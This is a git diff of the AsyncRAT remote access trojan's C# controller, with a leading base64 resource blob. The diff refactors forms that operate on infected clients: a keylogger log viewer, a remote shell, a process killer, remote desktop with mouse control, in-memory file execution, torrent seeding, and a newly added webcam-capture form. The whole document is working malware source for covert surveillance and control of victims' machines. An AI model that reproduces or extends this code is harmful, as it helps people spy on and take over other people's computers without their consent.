AQQWAAP/AQAB/wH4AT8B/wHfAf8B4AQAAQMG/wYAAf8B+AEPAfwBAQH/AcAEAAEBBv8GAAH/AfgBDwH4 - AQEB/wGABQAG/wYAAf8BwAMAAT8BgAUABv8GAAH/BAABPwGABQABwAQAAQMGAAH/BAABPwGABQABgAQA - AQEGAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEPAYARAAH+BAABBwGAEQAB/gQAAQMBgBEAAf4EAAEB - AYARAAH+BAABAQGAEQAB/gQAAQEBgAUAAYALAAH+BAABBwGABQABgAsAAf4EAAEPAYAFAAGACwAB/gMA - AQEB/wGABAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABAQH/AYAEAAEBAYAEAAEB - BgAB/gMAAQcB/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEB - AcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/ - AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB8AQAAQcGAAH+ - AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHABAABAwHwBAABBwYAAf4DAAEPAf8B4AQAAQMB8AQA - AQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQA - AQMB+AQAAR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEP - Af8B4AQAAQcB+AQAAR8GAAH+AwABDwH/AeAEAAEHAfwEAAEfBgAB/gMAAQ8B/wHwBAABBwH8BAABPwYA - Af4DAAEPAf8B8AQAAQcB/AQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+ - BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+AwABHwH/AfAEAAEHAf4EAAF/BgAB/gIAAQcC/wHw - BAABBwH+BAABfwYAAf4BBwT/AfAEAAEHAf8BgAIAAQEB/wYAAf4BDwT/AfgEAAEPBv8GAAb/AfwEAAE/ - Bv8GABL/BgAL + AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFC + AU0BPgcAAT4DAAEoAwABwAMAATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/ + BgAB/wH4AQ8B/AEBAf8BwAQAAQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYA + Af8EAAE/AYAFAAHABAABAwYAAf8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQA + AQ8BgBEAAf4EAAEHAYARAAH+BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsA + Af4EAAEHAYAFAAGACwAB/gQAAQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGA + BAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMA + AQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAED + BgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEB + AeAEAAEHBgAB/gMAAQ8B/wHABAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/ + AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+ + AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQA + AR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQA + AQcB/AQAAR8GAAH+AwABDwH/AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEP + Af8B8AQAAQcB/gQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYA + Af4DAAEfAf8B8AQAAQcB/gQAAX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGA + AgABAQH/BgAB/gEPBP8B+AQAAQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs= diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 51fe05c..1765746 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -92,6 +92,7 @@ // this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.richTextBox1.Location = new System.Drawing.Point(0, 34); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs index ec1b1b8..1cb791e 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -22,21 +22,25 @@ namespace Server.Forms } public Form1 F { get; set; } - internal Clients C { get; set; } - public StringBuilder SB = new StringBuilder(); + internal Clients Client { get; set; } + public StringBuilder Sb = new StringBuilder(); private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) { - SB?.Clear(); + Sb?.Clear(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) @@ -67,7 +71,7 @@ namespace Server.Forms { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger"); + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID + "\\Keylogger"); if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine)); diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs index 765dde1..d2b5265 100644 --- a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs @@ -9,23 +9,28 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; namespace Server.Forms { public partial class FormProcessManager : Form { + public Form1 F { get; set; } + internal Clients Client { get; set; } + public FormProcessManager() { InitializeComponent(); } - public Form1 F { get; set; } - internal Clients C { get; set; } private void timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private async void killToolStripMenuItem_Click(object sender, EventArgs e) @@ -40,7 +45,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); }); } } @@ -53,7 +58,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); }); } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index ad08eca..ebe0a62 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -42,6 +42,7 @@ this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.timerSave = new System.Windows.Forms.Timer(this.components); + this.labelWait = new System.Windows.Forms.Label(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); @@ -164,7 +165,7 @@ this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; this.numericUpDown1.Value = new decimal(new int[] { - 60, + 30, 0, 0, 0}); @@ -198,11 +199,22 @@ this.timerSave.Interval = 1500; this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); // + // labelWait + // + this.labelWait.AutoSize = true; + this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F); + this.labelWait.Location = new System.Drawing.Point(376, 222); + this.labelWait.Name = "labelWait"; + this.labelWait.Size = new System.Drawing.Size(78, 29); + this.labelWait.TabIndex = 3; + this.labelWait.Text = "Wait..."; + // // FormRemoteDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(938, 485); + this.Controls.Add(this.labelWait); this.Controls.Add(this.button2); this.Controls.Add(this.panel1); this.Controls.Add(this.pictureBox1); @@ -210,6 +222,7 @@ this.MinimumSize = new System.Drawing.Size(655, 440); this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); @@ -218,6 +231,7 @@ ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); this.ResumeLayout(false); + this.PerformLayout(); } @@ -235,5 +249,6 @@ private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Button btnMouse; + public System.Windows.Forms.Label labelWait; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 2f665b6..30a6bee 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -10,7 +10,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -using Server.Sockets; +using Server.Connection; using Server.MessagePack; using System.Threading; using System.Drawing.Imaging; @@ -21,24 +21,32 @@ namespace Server.Forms { public partial class FormRemoteDesktop : Form { - public FormRemoteDesktop() - { - InitializeComponent(); - } - public Form1 F { get; set; } - internal Clients C { get; set; } - internal Clients C2 { get; set; } - public bool Active { get; set; } + internal Clients ParentClient { get; set; } + internal Clients Client { get; set; } + public string FullPath { get; set; } + public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew(); public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public Size rdSize; private bool isMouse = false; + + + public FormRemoteDesktop() + { + InitializeComponent(); + } + + private void timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!ParentClient.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void Button2_Click(object sender, EventArgs e) @@ -79,7 +87,7 @@ namespace Server.Forms msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; button1.Tag = (object)"stop"; @@ -90,8 +98,8 @@ namespace Server.Forms button1.Tag = (object)"play"; try { - C2.Disconnected(); - C2 = null; + Client.Disconnected(); + Client = null; } catch { } numericUpDown1.Enabled = true; @@ -120,10 +128,9 @@ namespace Server.Forms btnSave.BackgroundImage = Properties.Resources.save_image2; try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); - if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); - Process.Start(fullPath); + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + Process.Start(FullPath); } catch { } } @@ -134,15 +141,14 @@ namespace Server.Forms { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); - if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); Encoder myEncoder = Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L); myEncoderParameters.Param[0] = myEncoderParameter; ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); - pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); + pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); } @@ -181,7 +187,7 @@ namespace Server.Forms msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Button").AsInteger = button; - ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -206,7 +212,7 @@ namespace Server.Forms msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); - ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -224,7 +230,7 @@ namespace Server.Forms msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); - ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -243,5 +249,14 @@ namespace Server.Forms btnMouse.BackgroundImage = Properties.Resources.mouse_enable; } } + + private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + Client?.Disconnected(); + } + catch { } + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index e5b63af..53b21e6 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,6 +123,9 @@ 131, 17 + + 273, 17 + diff --git a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs index 59d3061..63bedca 100644 --- a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs +++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs @@ -15,7 +15,7 @@ namespace Server { public partial class FormSendFileToMemory : Form { - public bool isOK = false; + public bool IsOK = false; public FormSendFileToMemory() { InitializeComponent(); @@ -54,19 +54,19 @@ namespace Server toolStripStatusLabel1.Text = Path.GetFileName(O.FileName); toolStripStatusLabel1.Tag = O.FileName; toolStripStatusLabel1.ForeColor = Color.Green; - isOK = true; + IsOK = true; if (comboBox1.SelectedIndex == 0) { try { new ReferenceLoader().AppDomainSetup(O.FileName); - isOK = true; + IsOK = true; } catch { toolStripStatusLabel1.ForeColor = Color.Red; toolStripStatusLabel1.Text += " Invalid!"; - isOK = false; + IsOK = false; } } } @@ -74,20 +74,20 @@ namespace Server { toolStripStatusLabel1.Text = ""; toolStripStatusLabel1.ForeColor = Color.Black; - isOK = true; + IsOK = true; } } private void button2_Click(object sender, EventArgs e) { - if (isOK) + if (IsOK) this.Hide(); } private void Button3_Click(object sender, EventArgs e) { - isOK = false; + IsOK = false; this.Hide(); } } diff --git a/AsyncRAT-C#/Server/Forms/FormShell.cs b/AsyncRAT-C#/Server/Forms/FormShell.cs index f248765..a4fd079 100644 --- a/AsyncRAT-C#/Server/Forms/FormShell.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -17,7 +17,7 @@ namespace Server.Forms public partial class FormShell : Form { public Form1 F { get; set; } - internal Clients C { get; set; } + internal Clients Client { get; set; } public FormShell() { @@ -41,7 +41,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); textBox1.Clear(); } } @@ -51,12 +51,16 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; msgpack.ForcePathObject("WriteInput").AsString = "exit"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void Label1_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormTorrent.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.cs index d1456ce..c919bb8 100644 --- a/AsyncRAT-C#/Server/Forms/FormTorrent.cs +++ b/AsyncRAT-C#/Server/Forms/FormTorrent.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -16,7 +16,7 @@ namespace Server.Forms { public partial class FormTorrent : Form { - private bool isOk = false; + private bool IsOk = false; public FormTorrent() { InitializeComponent(); @@ -29,12 +29,12 @@ namespace Server.Forms if (openFileDialog.ShowDialog() == DialogResult.OK) { textBox1.Text = openFileDialog.FileName; - isOk = true; + IsOk = true; } else { textBox1.Text = ""; - isOk = false; + IsOk = false; } } @@ -45,17 +45,21 @@ namespace Server.Forms private void Button2_Click(object sender, EventArgs e) { - if (!isOk) return; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "torrent"; - msgpack.ForcePathObject("Option").AsString = "seed"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text)); - foreach (ListViewItem itm in Program.form1.listView1.SelectedItems) + try { - Clients client = (Clients)itm.Tag; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + if (!IsOk) return; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "torrent"; + msgpack.ForcePathObject("Option").AsString = "seed"; + msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text)); + foreach (ListViewItem itm in Program.form1.listView1.SelectedItems) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + this.Close(); } - this.Close(); + catch (Exception ex) { MessageBox.Show(ex.Message); } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs b/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs new file mode 100644 index 0000000..4c01aeb --- /dev/null +++ b/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs @@ -0,0 +1,195 @@ +namespace Server.Forms +{ + partial class FormWebcam + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormWebcam)); + this.panel1 = new System.Windows.Forms.Panel(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.btnSave = new System.Windows.Forms.Button(); + this.button1 = new System.Windows.Forms.Button(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.timerSave = new System.Windows.Forms.Timer(this.components); + this.labelWait = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.Transparent; + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.numericUpDown1); + this.panel1.Controls.Add(this.comboBox1); + this.panel1.Controls.Add(this.btnSave); + this.panel1.Controls.Add(this.button1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Top; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(799, 41); + this.panel1.TabIndex = 3; + // + // comboBox1 + // + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.Enabled = false; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Location = new System.Drawing.Point(71, 7); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(272, 28); + this.comboBox1.TabIndex = 6; + // + // btnSave + // + this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; + this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(568, 4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(32, 32); + this.btnSave.TabIndex = 5; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.BtnSave_Click); + // + // button1 + // + this.button1.BackgroundImage = global::Server.Properties.Resources.play_button; + this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.button1.Enabled = false; + this.button1.Location = new System.Drawing.Point(12, 4); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(32, 32); + this.button1.TabIndex = 0; + this.button1.Tag = "play"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.Button1_Click); + // + // pictureBox1 + // + this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.pictureBox1.Location = new System.Drawing.Point(0, 41); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(799, 532); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 5; + this.pictureBox1.TabStop = false; + // + // timer1 + // + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); + // + // timerSave + // + this.timerSave.Interval = 1000; + this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); + // + // labelWait + // + this.labelWait.AutoSize = true; + this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelWait.Location = new System.Drawing.Point(319, 273); + this.labelWait.Name = "labelWait"; + this.labelWait.Size = new System.Drawing.Size(78, 29); + this.labelWait.TabIndex = 6; + this.labelWait.Text = "Wait..."; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(374, 10); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(78, 20); + this.label1.TabIndex = 8; + this.label1.Text = "QUALITY"; + // + // numericUpDown1 + // + this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown1.Enabled = false; + this.numericUpDown1.Increment = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.numericUpDown1.Location = new System.Drawing.Point(458, 8); + this.numericUpDown1.Minimum = new decimal(new int[] { + 20, + 0, + 0, + 0}); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(82, 26); + this.numericUpDown1.TabIndex = 7; + this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; + this.numericUpDown1.Value = new decimal(new int[] { + 50, + 0, + 0, + 0}); + // + // FormWebcam + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(799, 573); + this.Controls.Add(this.labelWait); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FormWebcam"; + this.Text = "FormWebcam"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormWebcam_FormClosed); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Panel panel1; + public System.Windows.Forms.ComboBox comboBox1; + public System.Windows.Forms.PictureBox pictureBox1; + public System.Windows.Forms.Button btnSave; + public System.Windows.Forms.Button button1; + public System.Windows.Forms.Timer timer1; + private System.Windows.Forms.Timer timerSave; + public System.Windows.Forms.Label labelWait; + private System.Windows.Forms.Label label1; + public System.Windows.Forms.NumericUpDown numericUpDown1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.cs b/AsyncRAT-C#/Server/Forms/FormWebcam.cs new file mode 100644 index 0000000..a904c02 --- /dev/null +++ b/AsyncRAT-C#/Server/Forms/FormWebcam.cs @@ -0,0 +1,124 @@ +using Server.MessagePack; +using Server.Connection; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server.Forms +{ + public partial class FormWebcam : Form + { + public Form1 F { get; set; } + internal Clients Client { get; set; } + internal Clients ParentClient { get; set; } + public string FullPath { get; set; } + + public Stopwatch sw = Stopwatch.StartNew(); + public Stopwatch RenderSW = Stopwatch.StartNew(); + public int FPS = 0; + public bool SaveIt = false; + public FormWebcam() + { + InitializeComponent(); + } + + private void Button1_Click(object sender, EventArgs e) + { + try + { + if (button1.Tag == (object)"play") + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "capture"; + msgpack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex; + 